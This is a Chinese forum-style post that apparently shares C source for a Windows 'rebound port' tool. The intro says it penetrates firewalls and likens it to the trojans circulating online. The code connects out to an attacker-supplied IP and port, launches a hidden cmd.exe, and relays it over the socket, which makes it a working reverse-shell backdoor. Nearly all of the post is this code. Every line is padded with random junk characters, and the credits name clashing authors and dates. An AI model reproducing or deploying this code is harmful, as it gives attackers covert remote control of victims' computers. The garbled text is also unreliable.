这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 0w\gxd~'
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/* ============================== Q PGssQR6
Rebound port in Windows NT esxU44
By wind,2006/7 <Q%o}m4Kt
===============================*/ lM?P8#3
#include Vg2s~ce{
#include ?Bk"3{hl
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#pragma comment(lib,"wsock32.lib") _~6AUwM
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void OutputShell(); dp+wwNe
SOCKET sClient; lMlXK4-
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; w\85D|u
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void main(int argc,char **argv) :JPI#zZun
{ rs!J<CRq
WSADATA stWsaData; -
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int nRet; siOeR@>X
SOCKADDR_IN stSaiClient,stSaiServer; `oq
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if(argc != 3) -B@jQg@
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{ ncu>
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printf("Useage:\n\rRebound DestIP DestPort\n"); :vc[ iZ
return; 2< ^B]N
} 20hE)!A
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WSAStartup(MAKEWORD(2,2),&stWsaData); 0;V2>!
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ZLBfQ+pM)
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stSaiClient.sin_family = AF_INET; .-nA#/2-
stSaiClient.sin_port = htons(0); d~YDg{H
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Kf(% aDYq
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) RU#Q<QI(
{ 2\m+
printf("Bind Socket Failed!\n"); N7Dm,Q ]
return; '9i:b]Hru
} C[&Lh_F\
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stSaiServer.sin_family = AF_INET; ~Ge-7^Fo7
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); R0{n0Br
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Nnx"b 5I}n
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) +dR$;!WB3
{ /k7`TUK
printf("Connect Error!"); %#"uK:(N
return; Pbz-I3+66
} ]`+>{Sx 1
OutputShell(); a*=\-;HaZ
} $JcU0tPq0
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void OutputShell() u5%.T0
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char szBuff[1024]; i1u &-#k
SECURITY_ATTRIBUTES stSecurityAttributes; d(R3![:
OSVERSIONINFO stOsversionInfo; K2)),_,@5+
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; [|uAfp5R
STARTUPINFO stStartupInfo; u:fiil$
char *szShell; C9({7[k^%
PROCESS_INFORMATION stProcessInformation; !)
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unsigned long lBytesRead; HQTB4_K\
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); <gJ|Wee
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); nwW`Q>+#U
stSecurityAttributes.lpSecurityDescriptor = 0; 0
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stSecurityAttributes.bInheritHandle = TRUE; HOXqIZN85
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 8(&C0_yD
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); v-&^G3
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); BQt!L1))
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
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stStartupInfo.wShowWindow = SW_HIDE; Rl<~:,D
stStartupInfo.hStdInput = hReadPipe; ~(G]-__B<
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; tNfku
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GetVersionEx(&stOsversionInfo); 4z?6[Cg<
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switch(stOsversionInfo.dwPlatformId) A+:K!|w
{ Rnun() plJ
case 1: p4|:u[:&
szShell = "command.com"; [WC-EDO2lb
break; v5 $"v?PT
default: L}x"U9'C
szShell = "cmd.exe"; ;k!bv|>n
break; >:h
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} rOH8W
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); "X"DTP1b
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send(sClient,szMsg,77,0); D",ZrwyJ
while(1) J'Gn M?M
{ 3| g'1X}
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Up)b;wR
if(lBytesRead) nA5v+d-<T
{ 2'_Oi-&
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); E #8 `X
send(sClient,szBuff,lBytesRead,0); |L<oKMZY
} pOGVD
else Y
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{ i%v^Zg&FU
lBytesRead=recv(sClient,szBuff,1024,0); R&=Y7MfZ
if(lBytesRead<=0) break; 44($a9oa2
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); !j(v-pQf"
} !9OAMHa*9
} My
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return; ;]+kC
}